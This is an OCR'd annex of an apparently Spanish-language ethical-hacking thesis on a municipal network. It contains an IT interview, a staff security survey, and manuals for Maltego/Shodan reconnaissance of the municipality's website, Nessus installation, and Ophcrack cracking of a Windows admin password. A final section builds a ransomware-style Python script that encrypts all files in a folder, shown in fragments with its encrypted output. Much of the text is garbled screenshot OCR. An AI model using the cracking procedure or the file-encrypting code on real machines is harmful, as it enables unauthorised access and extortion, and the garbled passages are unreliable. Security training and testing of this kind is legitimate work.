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10- ¢ Esté familiarizado con los tipos de amenazas que pueden afectar a la red?

Actualmente ya no existen amenazas en la red.

11- ¢Existe en el municipio algun software para identificar debilidades en la red
interna?
Antivirus BITDEFENDER que es el segundo mejor en el mundo y tiene un propio firewall en

la nube

12- ¢ Se ha modificado alguna vez la informacion dentro del municipio?
Existié un ataque de un virus ransomware, en el afio 2020 gque secuestro informacion, pero esta

si pudo ser recuperada ya que no fue de alto impacto.

13- ¢ Tiene todo el personal acceso a los servidores?

En la actualidad no, anteriormente si se tenia acceso al servidor en todas las areas.

14- ; Existen politicas de seguridad dentro del GAD municipal de Bolivar?
Bit defender genera politicas de seguridad. Paginas que no tengan http no deja ingresar, se da
acceso desde la nube a paginas especificas.

15- ¢ Se utilizan las mismas contrasefias de servidor en todos los ordenadores?

No, solo se emplea en el servidor

16- ¢ Esta al tanto de la existencia de hosts que estén ejecutando servicios que no son
necesarios?
No existen equipos que ejecuten servicios innecesarios
17- ¢ Cuenta el departamento de Tics con camaras de seguridad?

No cuenta con camaras de seguridad
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Anexo 5. Encuesta

“Hacking ético para detectar vulnerabilidades en los servicios de la

intranet”

38 01:30 Activo

Respuestas Tiempo medio para finalizar Estado

1. ¢Qué conocimiento tiene acerca de seguridad informatica? (0 punto)

@ Alta 3
@ Media 14
. Media-baja 6
o Baja 15

2. ;Qué tan importante es la seguridad informatica para usted? (0 punto)

@ Muy importante 33
. Importante 5
. Poco importante 0
. Nada importante 0

3. Enuna escala del 1 al 10 para usted
;Qué tan segura es la red del Gad municipal de Bolivar?

38 6.97

Respuestas Promedio
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4. ;Qué conocimiento tiene acerca de hacking ético? (0 punto)

. Alto 0
@ Medio 10
. Medio Bajo 4
. Bajo 24

5. ;Qué antivirus tiene instalado en su equipo? (0 punto)

18

® Avast 7 16

14
. Kapersky 0 19

. Eset not32 1 10
. Windows defender 12 8
® oo 18 6
4
. Desconozco del tema 0
2
6. ¢lnserta memorias USB de otras 0 I

personas a su maquina sabiendo

que se (0
expone vulnerabilidades informaticas? punto)
. Siempre 7
. Casi siempre 8
. Rara vez 19
. Nunca 4
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7. :Descarga archivos o documentos sin saber su procedencia sabiendo que se

(0
expone a vulnerabilidades informaticas? punto)
. 5 0 mas veces por dia 6
. 3 veces por dia 13
. 1 vez al dia 11

. No descargo documentos de int... 8

8. ;Recibe spam (correo no deseado) a su correo institucional? (0 punto)

® Siempre 9

. Casi siempre 12
. Rara vez 11
. Nunca 6

9. ;Tiene conocimiento que existen puntos de acceso remoto dentro de la (0
punto)

institucion?

L Conocimiento alto 1
. Conocimiento medio 18
@ Conocimiento medio-bajo 8
. Conocimiento bajo 11

10. ;Esta de acuerdo con participar en una capacitacion acerca de la seguridad
©

informatica y hacking ético? punto)
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@® Totalmente de acuerdo 25

. De acuerdo 13
. Indeciso 0
. En desacuerdo 0
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HOJA DE CONTROL

Organismo Gobierno Auténomo descentralizado de Bolivar
Entregable Manual de Usuario
Autor Esteban Herrera
Prueba 001 Fecha de Prueba 14/11/2022
Aprobado por Andrés Villarruel Fecha Aprobacion 14/11/2022
N° Total de Paginas 13

INDICE
LLLODJETIVO .t bbbttt bbbt 114
LL2AAICANCE ...kt b bbbttt b et bbbt 114
L.3FUNCIONAIAAG ... bbb 114
2.MAPA DEL SISTEMA . ... oottt 115
2 B N F- (Y=o T Tod o] o OSSR PROPOSPRRSOS 115
2.2. Instalacion de SHOOAN ...........ccoiiiiii e 117

1.DESCRIPCION DEL SISTEMA

1.10bjetivo

Esta Sistema operativo tiene como objetivo visualizar las claves guardadas de manera local

en un ordenador informatico con sistema operativo Windows, Mac o Linux.

1.2Alcance

La presente herramienta tiene como alcance ser empleada en todos los equipos informéticos

del municipio de Bolivar.

1.3Funcionalidad
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Ophcrack viene con una interfaz grafica, permite instalarlo en el mismo sistema operativo
en el cual se quiere conocer la contrasefia, pero tiene la funcion de ser booteado en un cd o

memoria USB, se basa en una distribucion Linux.

2.MAPA DEL SISTEMA
2.1. Navegacion

Abrimos Maltego en nuestro Kali Linux y nos aparecera la siguiente ventana

CE 4.2

Loading module services...
S S e e NS PO

Una vez abierto seleccionamos Maltego Comunity Edition
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Maltego 4.2.17
Collections  Transforms  Machines  Collaboration  Import| Export  Windows

Number of Results Privacy Mode Select Al Add Parents Add Neighbors §& Select Children E a s ZoomtoFit @, Z

@ Normal v i o M 100%

Product Selection

Zoom Zoom Selection

Product S
Pl

Please choose how you want to use Maltego: Compare Products Activate without Internet.

Maltego One Maltego One is the new unified solution to access and activate Maltego plans for

Professionals and Enterprises.
Activate with key el

Maltego XL Maltego extra Large is Paterva's premium solution to visualise large data sets and

allows for more than 10 000 entities in a single graph.
Activate with key HEaE
@ Purchase

Maltego Classic Maltego Classic is a commercial version of Maltego which allows users to visualize

Activate with key up to 10 000 entities in a graph.
@ Purchase

Q Maltego CE (Free) In Maltego CE (Community Edition) the community transforms will be installed and

canbe run to generate graphs, butthe features are limited and the resulting graphs

Rur may not be used for commercial purposes

Maltego CaseFile (Free) inMaltego CaseFile graphs can only be created manually. no transforms may be run.
More types of entities will be installed and the resulting graphs may be used for
commercial purposes.

Procedemos a configurar Maltego para su primer uso

Configure Maltego

Agresment
Lagin
Login ult

Install Trans

Busy... Please wait. ..

Updating transforms and entities. ..

0 Busy... Please wait...
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Entities  Collections. Machines  Collaboration

O]

Quick Findin
Find  Files

Investigate | View Transforms

ClearGraph | yumber of Results | PrivacyMode w
ber of Results 1N

Entity

Selection ", In

& Normal v/

© MALTEGO
¥y Oin

Software and Service Advisories

Updated Maltego Advanced Course

Webinars.and Demos

Smoke and Mirrors: investigating how Russian state media
outlets evaded sanctions

Register Now

2.2. Instalacion de Shodan

Maltego Community Edition 4.2.17

Import | Export  Windaws

Add Parents Add Neight
Add Children AddPath

Add Similar Si

Maltego Transform Hub

Mattego Community Edition - Not icensed

FILTER  [RESET] Q Display:

Data Categories

OaL

Breaches & Leaks

Access Options
Oaw
Bring Your Own Key
Click-and-Run Limited
Click-and-Run Unlimited

Company Data
Cryptocurrency

Deep and Dark Web

Endpaint & Security Events
Infrastructure & Network Information

Data Subscription
Free (with AP key)

Malware

TRANSFORM HUB PARTNERS

Standard Transform...
by Maltego Technlogies

Free Standard OSINT Transforms

81/81 shown

CasefFile Entities

Useful entities for modeling
investigations.

Abuse.ch URLhaus
by Maltego Technalogies

Identify malicious URLs and explore
underlying malware activty

OpenSanctions
" byMaltego Technologies

Identify sanctions targets, politicians
and persons of interest

Data Subscription

| [NOT INSTALLED] | [INSTALLED]

Reverse Links

[REFRESH]  [UPDATE] (i}

81 Hub items total | 0Hub items installed (0 Transforms)

Sort by:

Plans
Others OaL
Personal Identifiers
Phishing
Recon Maltego Pro
Social Media
TIPs
Vulnerabilties

Web & Image Content

PolySwarm
D
= byMaltego Technologies

Freshmalware intelligence with detailed
sectorfgeographical coverage

AbuselPDB
by Maltego Technalogies

Find and report abusive IP addresses.

Data Subscription

Para instalar Shodan en Maltego en Kali Linux, sigue estos pasos:

e Primero, se debe tener una cuenta de Shodan y una API Key valida.

Maltego Community

| [NEWEST] | [NAME] v

Pricing
Oaw

Bring your onn kg

Maltego Enterprise

v

Maltego Regex Tran...
ReGEX 1, maltego Technologies

Extract matching objects from web
pages using "Regular Expressions”

Alienvault 0TX
by Maltego Technalogies

Transforms for the world's first truly
apen threat ntelligence community.

¢ Inicia Maltego y crea una nueva configuracién. Selecciona "Shodan™ como proveedor

de datos y proporciona tu APl Key.

e Selecciona la entidad que deseas buscar en Shodan (por ejemplo, un sitio web o una

direccion IP).

e Utiliza las transformaciones de Maltego para realizar analisis adicionales sobre los

datos recopilados de Shodan.
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% Shodan by Maltego Technologies

aims to provide a complete picture.
These Transforms can be used with all tiers of Shodan API keys.

Pricing
Pricing Tier: Free Trial

Requirements: For full solution access, Maltego One, Classic or XL
license and a Shodan APl subscription

Access: There are two ways to access the Shodan Hub ftem

* Free trial: Reqister for a free APl key here hitps://account. shodan.
io/reqister, and then download the Shodan Hub item in your
Maltego Desktop Client and enter your trial key to beqin accessing
Shodan data using Maltego.

* Bring your own key: If you are an existing Shodan customer,
simply download the Shodan Hub item in your Maltego Desktop
Client and enter the paid APl key to begin accessing Shodan data

View Certificate

Damos en Finalizar

New and improved Transforms for querying Shodan. Supports vulnerability search as well as other advanced filtering options and pivots.

Shodan is the world's first search engine for Internet-connected devices. Query global loT and Infrastructure data from within Maltego with these Transforms!

Shodan is the world's first search engine for Internet-connected devices. Shodan queries go far beyond what the traditional web search engines can provide as Shodan crawls the
internet - whereas traditional search engines crawl the World Wide Web. The devices powering the World Wide Web only make up a tiny fraction of internet connections and Shodan

With Maltego Transforms for Shadan, investigators are able to gain access to intelligence about the global loT and infrastructure data in their investigative workflows within Maltego.

S =4
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Install Shodan

Complete

The following were addedfupdated:

1 Application Server
69 Transforms

44 Entities

1llcons

10 Transform Sets

Finish

VVamos a buscar informacion de la pagina del municipio de Bolivar

®

www.municipiodebolivar.gob.ec

Nos arroga informacion:

Con los nameros de teléfono, correos y sitios web recopilados, se podria realizar un andlisis
mas detallado de las relaciones entre estas entidades y otras en linea. Por ejemplo, se podria
usar Maltego para buscar informacion sobre los propietarios o usuarios de estos nimeros de
teléfono y correos electronicos, y ver cdmo estan relacionados con las diferentes paginas web

identificadas.
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alumniconnect@® adrian.edu

~

In

+91 75758 09577

https://www.municipiobolivar.go...

|

)

www.upguard.com

>

developer.mozilla.org

o
“{

https://www.municipiobolivar.go...

71 3505 5000 02 0024
| 4 Y < S

+1 800 222 2734 800 505 9496 517 264 3168 2018 2019 2021
| 4 v < A
zl‘-!m-—\ _E_WEI' =L‘-Im-—| w@‘
4sysops.com stackoverflow.com learn.microsoft.com www.techtarget.com
v \ 4 < <
G ; .i:[ ; ; ;
support.google.com docs.aws.amazon.com robertheaton.com devblogs.microsoft.com

Hp

docs.gitea.io www.cloudflare.com
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https://predios.municipioboliva...

3923195

Ty,

3458298

neuripshotine@gmail.com

+1800 2222734

-

4sysops.com

o}
2128547

—
L]

=

3727913
alumniconnect®adrian.edu
251 380 7301

-

stackoverflow.com

(&)
4620887

are
1374094

learn.microsoft.com

517264 3168

!.WWW

www.upguard.com

B
|
a_l

3922498

2018 2019 2021

=

support.google.com

3727937

®

<empty>

+91 75758 09577

A

Invalid Domain

=

robertheaton.com

a
22128545

username22@bw.edu

800 395 3369

(I

L)

https://predios.municipioboliva...

i

docs.aws.amazon.com
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municipiobolivar.gob.ec

ni¢.ec whois.nic.ec

®

nic.ec

municipioboliv ar. gob. ec

A A

N S gy e g Bl e B

HTTP/1.1 302 Mov.... HTTPF/1.1 302 Mov...  HTTP/1.1 301 Mov... PowerDNS Authori... * OK [CAPABILITY...

™ Banner Hash Banner Hash
™ =t S N #
P |
Portmap

HTTP/1.1 301 Mov... HTTP/1.1 301 Mov... Program... 50.1025,8.62939 660394733 147333083

' 4 * g
Banner Hash Banner Hash Banner Hash 4 BannerHash ~ BannerHash Banner Hash

# # # # A
-1132241830 1542778817 1335070740 -119625717 -1124218647 -431352063
v \ 4 A

Banner Hash Banner Hash HTML Hash HTML Hash - HTML Hash a HTML Hash
692032012 1032231560 0 701855552 1632656507 -964315093
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Como podemos observar nos bota informacion acerca de un puerto 80, este es utilizado por el
protocolo HTTP (Hypertext Transfer Protocol) para la comunicacion entre servidores web y

clientes. Es el puerto predeterminado para la comunicacion HTTP.

4

80/Apache httpd

O B B

2023-02-14721:15:34.920115 17.180.244 66.225.241.82 173201192158

SHA256 SHAL
K k \o\b ® #
L 200K 80 313425422 82202177.41 232392211 172832004 1923493175 d6bbd3626983523414b6d9214c2a393. Taelececlf3177eb7abetbBe04c327e
50.87.23.17 208.109.35.99 62113.204.80 192.185.155.204
3. GLOSARIO
Término Descripcion
Puerto Un puerto de computadora es una interfaz de comunicacion

que puede conectarse a un dispositivo de entrada o salida.
Cada puerto tiene un numero identificador Gnico conocido
como ndmero de puerto, que se utiliza para distinguirlo de

otros puertos.
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1. DESCRIPCION DEL SISTEMA
1.1 Objetivo

El objetivo de Nessus es identificar vulnerabilidades en sistemas informaticos y redes.
Nessus es un software de escaneo de vulnerabilidades que se utiliza para realizar

evaluaciones de seguridad en sistemas informaticos y redes, con el fin de detectar posibles

2. Alcance

La presente herramienta tiene como alcance ser empleada en todos los equipos informaticos
del municipio de Bolivar.

3. Funcionalidad
El software realiza una variedad de pruebas automatizadas para buscar vulnerabilidades

conocidas, como puertos abiertos, contrasefias debiles, vulnerabilidades de software, entre
otros. Una vez que se detectan las vulnerabilidades, Nessus genera informes detallados que
indican como solucionar los problemas de seguridad encontrados.

En resumen, Nessus es una herramienta til para los profesionales de seguridad informatica,

4.MAPA DEL SISTEMA
5.DISENO
KALILINX [Corriendo] - Oracle VM VirtualBox — (|
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Descargee b Evaluacién de vuinerabilidades | Nessus® | Tenable® - Moailla Firefox

& KaliLinux X Kali Tools

Otenable

( Inessus

El estandar de oro para la evaluacion de vulnerabilidades
Disenado para la superficie de ataque moderna

Nessus Expert Nessus Professional

Consultores, evaluadores de penetracion, Consultores, evaluadores de penetracion y profesionales
desarroliadores y SMB de sequridad.
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¢ o 3 tenable.com

O Kl Linox X KaliTools: N KaliForums ® KaliDocs: (¥ NetHunter " Offensive Securty ' MSFU. 4% Explot-DB # GHOB

Nessus

Opening Nessus-10.5.0-ubuntul 404, amdbi deb

i)
! Downloadan

Choose Download I Nessus10.5.0-ubuntuLd04 amdid deb

Version

What should Firefox do with this fle?

@ Oownload

¢ $tart and Setup Nessus

1 Getting Started

Summary

Release Date; 3

Release Notes:

Signing Keys:

B A
A m ':QJ)D

110
16732023 0
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- /home/estebanh/Descargas
Nessus-10.5.0-ubuntul4@4 amd64.deb
Seleccionando el paquete nessus previamente no seleccionado.
(Leyendo la base de datos ... 267021 ficheros o directorios instalados
Preparando para desempaquetar Nessus-10.5.0-ubuntul4@4_amd64.deb
Desempaquetando nessus (10.5.0)
Configurando nessus (10.5.0)
HMAC : (Module_Integrity) : Pass
SHA1l : (KAT_Digest) : Pass
SHA2 : (KAT_Digest) : Pass
SHA3 : (KAT_Digest) : Pass
TDES : (KAT_Cipher) : Pass
AES_GCM : (KAT_Cipher) : Pass
AES_ECB_Decrypt : (KAT_Cipher) : Pass
RSA : (KAT_Signature) : RNG : (Continuous_RNG_Test) : Pass
Pass
ECDSA : (PCT_Signature) : Pass
ECDSA : (PCT_Signature) : Pass
DSA : (PCT_Signature) : Pass
TLS13_KDF_EXTRACT : (KAT_KDF) : Pass
TLS13_KDF_EXPAND : (KAT_KDF) : Pass
TLS12_PRF : (KAT_KDF) : Pass
PBKDF2 : (KAT_KDF) : Pass
SSHKDF : (KAT_KDF) : Pass
KBKDF : (KAT_KDF) : Pass
HKDF : (KAT_KDF) : Pass
SSKDF : (KAT_KDF) : Pass
X963KDF : (KAT_KDF) : Pass
X942KDF : (KAT_KDF) : Pass
HASH : (DRBG) : Pass
CTR : (DRBG) : Pass
HMAC : (DRBG) : Pass
DH : (KAT_KA) : Pass
ECDH : (KAT_KA) : Pass
RSA_Encrypt : (KAT_AsymmetricCipher) : Pass
RSA_Decrypt : (KAT_AsymmetricCipher) : Pass
RSA_Decrypt : (KAT_AsymmetricCipher) : Pass
INSTALL PASSED
Unpacking Nessus Scanner Core Components ...

- You can start Nessus Scanner by typing /bin/systemctl start nessusd.

- Then go to https://esteban:8834/ to configure your scanner

® /home/estebanh/Descargas

/home/estebanh/Descargas

/home/estebanh/Descargas
ctat

/home/estebanh/Descargas

actualmente.)

service
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New Folder

Mame ESCANEOMUNICIPIO

Cancel

6. GLOSARIO

Término Descripcion
Plugin Un plugin de Nessus es un componente de software que se
utiliza para realizar una evaluacion especifica de
vulnerabilidades en sistemas informaticos y redes. Los
plugins de Nessus son programas que se ejecutan dentro del
software de escaneo de vulnerabilidades Nessus y estan
disefiados para buscar vulnerabilidades conocidas en
sistemas operativos, aplicaciones, servicios de red y otros

componentes de TI.
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1. DESCRIPCION DEL SISTEMA

1.1.0bjetivo

Esta Sistema operativo tiene como objetivo visualizar las claves guardadas de manera local
en un ordenador informatico con sistema operativo Windows, Mac o Linux.

1.2.Alcance

La presente herramienta tiene como alcance ser empleada en todos los equipos informaticos

del municipio de Bolivar.

1.3.Funcionalidad

Ophcrack viene con una interfaz grafica, permite instalarlo en el mismo sistema operativo
en el cual se quiere conocer la contrasefia, pero tiene la funcion de ser booteado en un cd o

memoria USB, se basa en una distribucion Linux.

2.MAPA DEL SISTEMA
2.1. Navegacion
2.1.1Descarga

Se procede a descargar desde la pagina oficial:

https://ophcrack.sourceforge.io/download.php?type=livecd

Descargamos la segunda opcion.
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https://ophcrack.sourceforge.io/download.php?type=livecd

Home | Download | Tables | News | Support | Development

The latest version of ophcrack LiveCD is 3.6.0 (including ophcrack 3.6.0). There are three versions available:

ophcrack XP LiveCD: cracks LM hashes (Windows XP and earlier)
ophcrack Vista LiveCD: cracks NT hashes (Windows Vista and 7)
ophcrack LiveCD: does not include any tables (if you already downloaded them)

(. ophcrack XP LiveCD O]
ophcrack-xp-livecd-3 6 0 iso

md5sum: b23afa62f670dee4 1c8f01c436c0a092

1) ophcrack Vista/7 LiveCD -*)
ophcrack-vista-livecd-3.6.0.1so

md5sum: f0753acfe2fce5249ceceecidfeacea’d

[/ ) ophcrack LiveCD (without tables) O

ophcrack-notables-livecd-3 6 0 iso

mdb5sum: 40ffb36b8f6306a6af03a68b754e1b30

Q, Busqueda

Una vez descargado nos quedara el archivo ISO
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2.1.2 Booteo

Posterior a esto procedemos a bootearlo en una memoria USB con la ayuda del programa Rufus

P

Propiedades de la unidad

Dispositivo

Eleccion de arrangue

ophcrack-vista-livecd-3.6.0.iso <7 Q\, SELECCIONAR

Tamafio de particion persistente

0 (No persistente)

Esquema de particién Sistema destino

v Mostrar propiedades avanzadas de la unidad

Opciones de formateo

Etigueta de volumen

SliTaz ophcrack

Sistema de archivos Tamafnio del cldster

v Mostrar opciones avanzadas de formato

Estado

PREPARADO

MPEZAR CERRAR

DO=B=

 Usando la imagen |150: ophcrack-vista-livecd-3.6.0.is0
2.1.3. Preparacion en la maquina
Antes de empezar, se revisa la ordenacion de arranque de la BIOS, ya que la USB con el sistema
serd la primera en arrancar. Dicho esto, reiniciamos la maquina y a continuacion se mostrara la

siguiente pantalla:
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LiveCD

OBJECTIF SECURITE

R

—_
HY Y

\

el U GClds

Damos un enter en la primera opcidn y se cargara la siguiente pantalla:

registered new device driver usb
g ACPI for IRQ rou
tching to clocksource tsc
p: PnP ACPI init
s type pnp
yle to
ERROR: Umnable to
PnP ACPI:
s type pnp unr :
red protocol family L
he hash table entrie
hed h h table
h table entries:
onf igured
gistered
table entries: 256 (order: 1, 8192 bytes)
h table entries: 256 (order: 1, 8192 bytes)
> vmily 1

wort module .

module .

L1m1t1nq di -t CI-FPC b1 3 rs
Activat . f carounds
rootfs lmcu_]:: as

A continuacion, cuando el programa arranque, intentara encontrar la contrasefia de los usuarios,

lo comun no la encuentre.

138



ophcrack - OX
C(du O 0 @ c
t Savei I Stop Help Exit About

Progress | Statistics

User " LM Hash NT Hash LM Pwd 1 LM Pwd 2 NT Pwd
*disabled* A... 31d6ctendl... empty
*disabled*|... 31d6cfendl... empty
admin 32ed87bdbs...
Table Directory Status Progress
Preload: done Brute force: 90% Pwd found: 2/3 Time elapsed: | 0h 0m 23s

-Ya que la fuerza bruta no suele funcionar, en la mayoria de los casos se emplea las tablas de
Rainbow

-Nos dirigimos a la parte de Sakura, que se ha abre en automatico.

Applications osophcrack

Copiamos la ruta que en este caso es

/media/sr0/tables/vista_proba_free

sakura
ching tables in: /media/sr@/tables

bles found:

/media/sr@/tables/vista proba free/|ElR=lcHsTy

und one partition that contains hashes:
/media/sda2/Windows/System32/config

Regresamos a la ventana de OPHCRACK y nos dirigimos a Tables
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op herack

I Preload; done Brute force; done | Pwd found: 2/3 Time elapsed: [ oh 0m 26s

D LU d|v @ O & c
Load _ Delete Save‘ Tables ¥ Crack Help Exit About
Progress | Statistics | Preferences |
 user | LMHash | NTHash | MPwdl LM Pwd 2 NT Pwd
*disabled* A... 31d6cfendl... empty
*disabled* ... 31d6cfeodl... empty
admin 32ed87bdbs... not found

Table Directory Status Progress

Damos click en Install

140



Table Selection

Table Directory Status
@ XPfreefast ! not installe
- @ XP free small not installe
-~ @ XP special not installe
- @ XP german vl not installe
L @ XP german v2 not installe
- @ Vista special not installe
- @ Vista free not installe
- @ Vista nine not installe
- @ Vista eight not installe
- @ Vista num not installe
-~ @ Vista seven not installe
- @ XP flash not installe
- @ Vista eight XL not installe
- @ Vista special XL not installe
- @ \ista probabilist... not installe
- @ Vista probabilist... not installe
- @ Vista probabilist... not installe
| e
@ = enabled » = disabled @ = not installed
i”vllol[.ll Installh oK

Hacemos clic en el enlace que copiamos recientemente (/media/srO/tables/vista_proba_free) y
procedemos. «Choose».
AVISO: Pegar con «click derecho -> Pegar». NO USAR CTRL+V.
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Select the directory which contains the tables.

Look in: = /fhomeftux l'| O O O A |E =)

& computer| | B8 Desktop

— B Documents
8 oo

B Music
Directory: |/mediajsrojtablesjvista_proba_free/ | [ e Ql’loose |
_ — 1y
Files of type: | Directories |~ X cancel

&

Elegimos la tabla que presenta un indicador verde y en la seccién "Status™ se muestra "on

disk", posteriormente presionamos el botén "OK".

Table Selection

Table | Directory Status
- @ XP free fast not installe
-~ @ ¥P free small not installe
- @ ¥P special not installe
-~ @ ¥P german vl not installe
- @ ¥P german v2 not installe
- @ Vista special not installe
- @ “ista free not installe
- @ Wista nine not installe
- @ \ista eight rnot installe
- @ Wista num not installe
- @ “ista sewven not installe
-~ @ ¥P flash not installe
- @ Vista eight XL not installe
- @ Vista special XL not installe

- srobabilist... Jffmediafsroftablespvista proba free on disk
- @ Vista probabilist... not installe
~- @ Vista probabilist... not installe
El | E)

@ = enabled 2 = disabled @ = not installed

|A||v||ﬂ||g|  install ‘ oK :J
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Damos click en en «Crack».

ophcrack = 0O X
D L d v ®e o
o W W/ | @ a
Load _ Delete Save _  Tables Help Exit About
Progress | Statistics | Preferences |
User ' | LMHash | NTHash | LMPwdl LM Pwd 2 NT Pwd
*disabled* A... 3ldscfendl... empty
*disabled* .., 31d6cfendl t
admin 3.

Table Directary Status

Progress

E- @ Vista p... Jffmediafsro)... on disk

Preload: Brute force; Pwd found: Time elapsed: | 0h Om 27s

El programa comenzara a trabajar y a buscar y descifrar la contrasefia.
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ophcrack

admin

-0Ox
" . .
gd L QO 0 @ o
Load _ Delete Save _ Tables Stop Help Exit About
Progress [ Statistics | Preferences ]
User ' | LMHash | NTHash | LMPwd1l LM Pwd 2 NT Pwd

*disabled* A... 31d6cfendl. .. empty
*disabled*|... cfendl... ampt

Table Directary

Status

Progress

E- @ Vista p... jfmedia/srof...

100% in RAM ¢ |

Preload: Brute force: Pwd found: Time elapsed: | 0h 1m 9s

En este proceso puede demorar minutos con contrasefias que no sean dificiles hasta horas con

contrasefias dificiles como la que se a puesto para probar esta computadora

User: admin

Password: 123456
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admin

ophcrack =0X

y . o~ =

> L &8 v ® Q0 @ o
Load Delete Save Tables Crack Help Exit About
Progress | Statistics | Preferences |

User | LMHash | NTHash | LMPwdl LM Pwd 2 NT Pwd

*disabled* A... 31ldécfendl... empty
*disabled* ... 31dé6cfendl... em

Table

Directory

Status

Progress

E- @ Vista p... fimediajsroj... |

100% In RAM

Preload: Brute force: Pwd found: Time elapsed: | 0h 5m 35s

3.GLOSARIO

Password

Crackear

Retiramos la Usb y reiniciamos el equipo

Término

Descripcion

Contrasefia que conocen determinadas personas

Es una técnica para dafiar maliciosamente el software de la

computadora o sistemas de seguridad completos.
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1.DESCRIPCION DEL SISTEMA
1.10bjetivo

Este Malware tiene como objetivo impedir a usuarios acceder a archivos personales o a su

sistema operativo, para poder acceder a su equipo se debe pagar un rescate.

1.2. Alcance

La presente herramienta tiene como alcance ser empleada en todos los equipos informaticos

del municipio de Bolivar.

1.3Funcionalidad

Los programas maliciosos conocidos como ransomware utilizan diversos métodos para
atacar tu ordenador, pero uno de los més frecuentes hoy en dia es el spam malicioso. Este
tipo de correo electrénico no solicitado se emplea para enviar malware, y suele incluir
archivos adjuntos engafiosos como documentos de Word o PDF, o enlaces a sitios web

maliciosos.

2. MAPA DEL SISTEMA
2.1. DISENO

Procedemos a descargar Pycharm

@ suGAr, D TEIMe The Last

= Ar 8, on [l Course: INTRODUC.

Para desarrolladores Para equipos Paraaprender Soluciones Asistencia Tienda

PyCharm En la proxima version Novedades Funcionalidades Aprender Tarifas

Descargar PyCharm

Windows  macOS Linux

Professional Community

Para desarrollo de Python tanto Para un desarrollo Python puro
Versién: 2022.3.2 cientifico como de web. Compatible
Build: 223.8617.48 con HTML, JSy SQL.

25 de enero de 2023

Requisitos del sistema

Prueba gratuita de 30 dias disponible Gratis, creado en codigo abierto
Instrucciones de instalacion
Otras versiones
Software de terceros Consiga Toolbox App para descargar PyCharmy

cue futurag geotualizaciones con facilidad
ains.com/es-es/pycharm/download/download-thanks.htmi?platform=windows&code=PCC
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Descargar

Windows macOS Linux

Professional

Para desarrollo de Python tanto cientifico
como de web. Compatible con HTML, IS y

SQL.

CaEED

Prueba gratuita de 30 dias disponible

Una vez tenemos descargado el Pycharm lo ejecutamos

Vamos a crear nuevo proyecto
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Elegimos Pure Python y seleccionamos en donde queremos crear nuestro programa.
Tendremos lo siguiente:

pythonProject 2 ma
DT = o — & main.py

IR pythonProject

v ver

print_hi(name):

n unit test

1 5tub

Creamos dos archivos llamados Encriptado y Desencriptado
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Rasomware

External Libraries

Scratches and Consoles

En el Archivo Encriptado comenzamos a programar nuestro siguiente cédigo:

Lo primero es importar la libreria de encriptacion
cryptography.fernet Fernet

A continuacion, vamos a cargar la clave:

cargar_key () :

encrypt(items

file_data = file.read()

encrypted_data = f.encrypt(file_data)

(item ) file:

file.write(encrypted_data)

En el siguiente codigo seleccionamos la ruta donde se encriptaran los archivos :
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path_to_encrypt =
items 0s.listdir(path_to_encrypt)
full_path = [path_to_encrypt+

| files

® Nuevo v N Ordenarv ([0 Ver v

& > v A B> Rasomware > files

ﬁ Inicio

™ Escritorio #

i Descargas #

E Documentos #
& Imagenes #
I archive # !

bolivar 1 DOCUMENTO MUNICIPIO DE BOLIVAR ~ DOCUMENTO SINTESIS PDOT CANTON
® Msica & BOLIVAR

Después de la ejecucion del coddigo encriptar nos quedar de manera ilegible y solo se podran

descifrar con el cddigo desencripta y la contrasefia creada:
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o B2 B

bolivar 1 DOCUMENTO MUNICIPIO DE BOLIVAR  DOCUMENTO SINTESIS PDOT CANTON readme
BOLIVAR

La imagen:

bolivar 1JPG

olliy

Parece que el formato ¢

Los documentos de Word en modo encriptado:
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ion Referencias Correspondencia Revisar Vista Ayuda

Al Aa~ | A = =zl
) Normal Sin espaciado Titulo 1 Titulo 2
LA~ ~

Parrafo ~ Estilos.

QAAAAABY 3XW-5SutrcHEgGC3UU0i3s2AIUIBl_tycN4-R2Ft9zVGD—_9b-cFQLETYO—
ONEBmromV29TREfIZST7i0VdeveHxDueznISTyb4UaghLym3QLlnOnpyY Qdej JjEBHsSTRCbhbJuaD3T
pOpGVlZQBZjoerVSdewolLNFSQFFTEKe6OG6mrDquIfotSOszKﬁeiftLqul277q0q07
ASZIL85gg8weViag—1i—

I 1pNMWH1 ] ZEtEhV34viWOIFtngwg6lbjHSEYyX13KgC FpgInj IJXgrLiQPGgIwaKGE7SoNx0T7e
SPMeyME WGIfdBZyHdAdga2G89cDENGVSgiUYRGKKICOrj y9HADe—gOclzF—Ch—
g2wv781GMEMsPY¥DgaH fed9C086VIHAYmexW—

gxgxmbousl HiNS8iI6aZ9lsSslrlLEHOCYkoemUMASONNTSEfwGEUz0aRWlhibugyRRVEVSSwh
TrRLHLRgSyFrMZaS—xf—

NENZmr30RwSa2IG54hQPDauf31cTAgK fPpkauzKite3ESNrBeewcduslfCoplZom QgS5—
GIMOVREhFZOCYAIYEFQBOLYRKE1IUBSIFNY01lyef N%a XEspQapiTXOMSimLlXplsSPe—
©28IBFRH4IIuSya PjppVeSciuHs-PIlkEEwzLUuiTBLOX4VcbhockigisVp8acxr—
HHRgAOvgom3Hp7e jM7GxchS1SPSGlEBzWyEhrbdra3v4WwijAgIFjglThWG THzaJchzNoMLGAS I
eFJdWEd90—h4a55ewIltvsSe0J]1lsFoPS JV-cEjOutTc39NZhe6-BLIWlryYuclvg—
hXTPvrem3] UQERVGICKER1gonznOzoyifBOZreiK7XVEGJIJOFGRW PmBH2SMASHNGSVYZS—
KROZQFEOYViwI4dJeENrfouzEIiNyDVJIHZ51 3QeQ7y5S—gphDwhIrvDEKQ—
YEBhmeBNYF1lZtdWyc2ZFWy I3WI3Yi8YE2mGnHIpBgzwx IWrtCrakEiCi S3SFpRREFUFXQywRpEC
CEWXEBxGkvi04 OyHgQXE—rmvSBK:nnflEeQFEy_p_hyj PT23V6_oKcpzBnVxsTRO—

kx hASEuscul3geK8XhVORAWWSAa9cisS31lrfBgijButH7KAWEYW 15twv47ell—
lﬁg{quot4VJWSr1XSmlpLleYClBapYSXpngoyzZGtuP_zefquPOeYPZLGWVEvabFUch zx
XeSinxOiReIWvsgogTzTIy4wI 9J01Yggfesd mdv—
mMgROYXg7sSVLySalncucGWUCPS380eQGhb8h8riOorZXzdc4LDg2u¥Ygh gucMZcUSgXONOAUuzUS
ZVUugShQroren382x¥hS94CNEIomdy 7TuJd 6 1Me LgLgQObESU0 fBprOIpMETIn2hvAL1 Hey4wRTROD
MoQiingzbeBvktle OEJICLCoQHUSES5ShWCkCKIiOLzNmlIZ14mTESXQ8z5kl 7TvxxcDoGid—
WEALKGEBEKYUUUKEsTAkEXIJhMTp HSrYLZEFCY—

